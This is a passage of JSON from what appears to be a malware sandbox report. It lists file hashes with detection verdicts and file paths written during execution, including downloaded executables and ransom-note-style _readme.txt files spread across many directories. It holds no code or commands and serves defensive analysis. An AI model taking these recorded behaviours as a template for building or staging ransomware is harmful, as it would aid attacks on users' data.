ed","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"hidbth.inf","sha256":"74a9279ec47174597687faea337ca368f48b6d2a04c5436d7a36563fee796022","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"hidvhf.inf","sha256":"7a0eda1d4d3a6a2cadd71025b73137b36ca79073816aa6d99475078682de0090","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"mgtdyn.inf","sha256":"334a49e2099c50d0872540f1b054baeb0ae4cd1c82f0a61fa6a6ae6f664d5ca6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"msgpiowin32.inf","sha256":"5fcff5eb376f1abc1e49f4a203408dfdd92d1978b97e9ed21706f744ebdc4dd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"ndisuio.inf","sha256":"6f7bcd4d902e53fabee3dd2921cb0cb9197e42842c1d6256a07262a25908f119","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"netnb.inf","sha256":"b6d6a54427c3629bdad6b5ffb62a1cb1270335c60027b8ab856fdd53d14955b1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"npsvctrig.inf","sha256":"c68508787fcc5e62ead61b06052303c5004fc430194943f726123c18fe79f49e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"urschipidea.inf","sha256":"d7ad36b6aa2f624bc996a9d4a6b5c937b289bf02f1fd7302eda539a2a054909e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"urssynopsys.inf","sha256":"74fe080eb97d0ed81135f9d4fc3d586eb68c485a3f368d3530813bac3b0bfd83","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"vhdmp.inf","sha256":"a9f64fa7efd5537c6c94101e7a60d08a36e99e02d5f83f063bb491067bbf6b2a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"xusb22.inf","sha256":"800e9a4aeb4697278bcba5e3d0b7bbcd35344bc93798371af3aea7fd49d79f98","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"credentialuibroker.exe","sha256":"41dd7b273378177d0cbd42809c5d6ff20640ccf30baf458dfa46b13a967a1251","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"appidcertstorecheck.exe","sha256":"a1861d8e737773b1daed7d925dddac8be7f5e297b111904dd9cd668f66b832e1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"axinstui.exe","sha256":"44ef39865ecbc539abfcec4f487681a24208aaf80250a3acd9ea717915f3ff14","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"clip.exe","sha256":"0f228f7d3f170f8099c61d3f9a5280b21f710037b671790e67b2d781dd06cb4e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"control.exe","sha256":"68b374ea587dc7288feede1068d44ebb22fded736d5b7a316c8f8679c005128c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"credwiz.exe","sha256":"546aea03286ac85e891f723406c4b67988b7a491c0202928bf601dbe93de3c07","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"MicrosoftEdgeSetup _1_.exe","sha256":"b0d6aa8b26640444897c48cab42e911fd2997b62b3d79d16e0ae88e079cd8a5d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"t64-arm.exe","sha256":"e307cc79b1f5fd02ea3f7900c8abdf11db0ef29fdb39d9bb70c25a629a0436d5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"w64-arm.exe","sha256":"274eca7a202f0f36b5ace2273c386f23b5140882e45af44b8d022b82d27922d7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"gui-arm64.exe","sha256":"bf8d955403be454fc340b9d2f85978c807d25ebdbfb6328a75360f5bfccdeeed","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"cli-arm64.exe","sha256":"51b61b17243a7574675d62668f87111f34991384065e3c1d111b09a2397af124","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"t64.exe","sha256":"f4055d124e25de5174c5c005901713d304d6d408482d67e6dfa48ee6fd39590c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"w64.exe","sha256":"4fd40db096ee5ce37a15fad33dd1e42da9ef8cb2375ad2fc30ecb2c47d2b9de6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"t32.exe","sha256":"4101403e49885782fb746e1a1698e2798dd12da532fc7a5e78a93b24c722ae44","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"w32.exe","sha256":"db7d4f6229b10d4454d3dcc5734ac09975a8397c79978d82b8433d24f2b4d61b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"gui-64.exe","sha256":"aefeb991633d73502043d04e447ced765bf5aab3e76bc72e362addf251a97d37","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"cli-64.exe","sha256":"cb8aa4c976ef3b244a1bd4d80186d204d0912433a24c83492b61ddaeec074844","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"Pythonwin.exe","sha256":"7e63ed88f1926db29fc5be6f0fb6418b712e9caaf5b74de2c4fea2688b4c60ec","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"gui.exe","sha256":"ff9ae87f292727cd1077d48a5abdfc00c5d71f9ceff52eaecc86968c2ca5bb08","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"cli.exe","sha256":"82416b904bffe0ee9a0cb9136fb433b99c1b600c679a29e364849bc2a88b6c07","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"gui-32.exe","sha256":"4f381eecc70272559fb0bef441c43a96b5d34ed2bbc3fb12b30cac65a0c550fb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"cli-32.exe","sha256":"350fb1cf841e39e4e2147e41197f089a270200769fada12aef6551f0fe1d4685","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"TM02835233_fn_Text Sidebar _Annual Report Red and Black design_.docx","sha256":"74faa6233d67e29fecca2870e0dee941c1520185061e944e8c51e0ade46db316","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"pythonservice.exe","sha256":"7edb70ae998f64ccc19e2b58ed562a522d1d72851929cd7a0d398d82d0357eb3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"build3_1_.exe","sha256":"ebfef207462c29030b8a06068c8cbf1cfeae1304813b9cdbfa2d705b314bf692","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"TM01793058_fn_Median_.dotx","sha256":"6144f87792b4b86575a603b79d67a3a5a908f0b9ca751175390b3f4e74f41a37","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"TM01793060_fn_Origin_.dotx","sha256":"cea11615e4392f71800a5d09642f3e3b18713ab0c4f77841c3306c9168eb933d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"TM01840907_fn_Equations_.dotx","sha256":"447d2bbb587f044b2859b032d6b7c7565b2327d99e4df0b845b84fd1e8a6b465","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"TM03998158_fn_Element_.dotx","sha256":"9a8a07b25b76de465c68c28ff99102f0fa81c66537fe14f98139a819b5421194","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]}],"files_written":[{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"%LOCALAPPDATA%\\aa563fba-3360-4fa5-95e2-4e5b9f25d979\\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"%LOCALAPPDATA%\\aa563fba-3360-4fa5-95e2-4e5b9f25d979\\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\LSCBY323\\get[1].php","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"%LOCALAPPDATA%\\bowsakkdestx.txt","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\SystemID\\PersonalID.txt","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\LSCBY323\\build3[1].exe","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"%LOCALAPPDATA%\\5f84ace5-27d6-428f-a563-af4a01c6689e\\build3.exe","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\Config.Msi\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\tempdir\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\TorService\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0000.chk\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0002.chk\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0003.chk\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0004.chk\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0005.chk\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0006.chk\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0007.chk\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0008.chk\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0009.chk\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0010.chk\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0011.chk\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0012.chk\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\TorService\\data\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\TorService\\tor\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"%USERPROFILE%\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\bootTel.dat","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\file00000003.chk","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\$filehashes$.dat","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-onecore-a..ktop-fod-deployment_31bf3856ad364e35_10.0.17134.1_none_1acd90a93eb8e614.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-aphostservice_31bf3856ad364e35_10.0.17134.1_none_61f1e11b4ca3c826.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..-activesyncprovider_31bf3856ad364e35_10.0.17134.1_none_a4eb99a65ff11c83.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..-syncutil.resources_31bf3856ad364e35_10.0.17134.1_en-us_1dd2d143d2732a0b.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_162eb33a1e7e3c6b.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_da-dk_b368936114c4386a.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_de-de_b094289d169a8d04.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_el-gr_592a563005aff592.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_en-us_5984fe96057898c9.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_es-es_59505b7a059f8a6e.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fi-fi_f86b6026fab97c98.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fr-fr_fc07d178f871a0d0.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_437851c0dcd16fec.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_it-it_e62fc7bfcfa3864e.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ja-jp_885546ccc2be9829.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ko-kr_2bbf2381b52f5f3f.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nb-no_1451a4b68d548afb.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_1290eff48e8094d0.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pl-pl_58cd4a7673a30284.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-br_5b21351a722c9668.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-pt_5c030486719c0644.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_a2a6164a567d9470.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_sv-se_3ea100bf4da69ecb.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_tr-tr_e7ae4b063c62a0bc.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_zh-cn_b90b6903ec9a72db.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_zh-tw_bd07a659ea0b4f4b.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..ccountsrt.resources_31bf3856ad364e35_10.0.17134.1_en-us_dc0b1719a7e1bc24.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..cprovider.resources_31bf3856ad364e35_10.0.17134.1_en-us_ae4d644f2ed63425.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..cprovider.resources_31bf3856ad364e35_10.0.17134.1_en-us_bf95c9c4974efad0.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..cymanagerbrokerhost_31bf3856ad364e35_10.0.17134.1_none_644f5bdfd9647dba.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..ernetmail.resources_31bf3856ad364e35_10.0.17134.1_en-us_cf3c5a6654651d32.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..etmailcsp.resources_31bf3856ad364e35_10.0.17134.1_en-us_96611701049c6174.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..ineshared.resources_31bf3856ad364e35_10.0.17134.1_en-us_c96d47a2570a4d1b.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..licymanagerbrokerps_31bf3856ad364e35_10.0.17134.1_none_5e9328a4938e27b9.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..ontroller.resources_31bf3856ad364e35_10.0.17134.1_en-us_fe1e2f2b714b36b3.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..orkhelper.resources_31bf3856ad364e35_10.0.17134.1_en-us_1b018b35f5ddad2e.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..rokerhost.resources_31bf3856ad364e35_10.0.17134.1_en-us_57732c362fd6e5d5.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..taccessor.resources_31bf3856ad364e35_10.0.17134.1_en-us_eaab6e3bc583134c.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..vesynccsp.resources_31bf3856ad364e35_10.0.17134.1_en-us_85ab47dc0a11718d.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-accountaccessor_31bf3856ad364e35_10.0.17134.1_none_ace0eed0fc56496f.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-accountsrt_31bf3856ad364e35_10.0.17134.1_none_151a1b146da49afd.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-activesynccsp_31bf3856ad364e35_10.0.17134.1_none_f33b0ddddab62566.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-aphostclient_31bf3856ad364e35_10.0.17134.1_none_085c9ad7af984bcf.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-aphostres_31bf3856ad364e35_10.0.17134.1_none_b8e036b8f18490ec.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-aphostservice_31bf3856ad364e35_10.0.17134.1_none_3abe8fc5b712e80b.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-engineshared_31bf3856ad364e35_10.0.17134.1_none_db8c1c8a8d44988e.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-inprocloggersetup_31bf3856ad364e35_10.0.17134.1_none_88d720ce10d25069.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-internetmailcsp_31bf3856ad364e35_10.0.17134.1_none_e0ae355aa7085a45.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-internetmail_31bf3856ad364e35_10.0.17134.1_none_2d05acef046f159b.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-networkhelper_31bf3856ad364e35_10.0.17134.1_none_a0fa210c520b753b.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-standard-config_31bf3856ad364e35_10.0.17134.1_none_d914b9c2a964ff65.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-synccontroller_31bf3856ad364e35_10.0.17134.1_none_034ee57d81775b52.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncproxy_31bf3856ad364e35_10.0.17134.1_none_d607dcf5dc927baa.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_af-za_75594e685e635a3e.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_am-et_7d7c85c6592f59a5.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_as-in_7a92200a5b164ca5.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_az-..-az_430003654a8ac792.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_be-by_2329316d4a126116.manifest","sources":[{"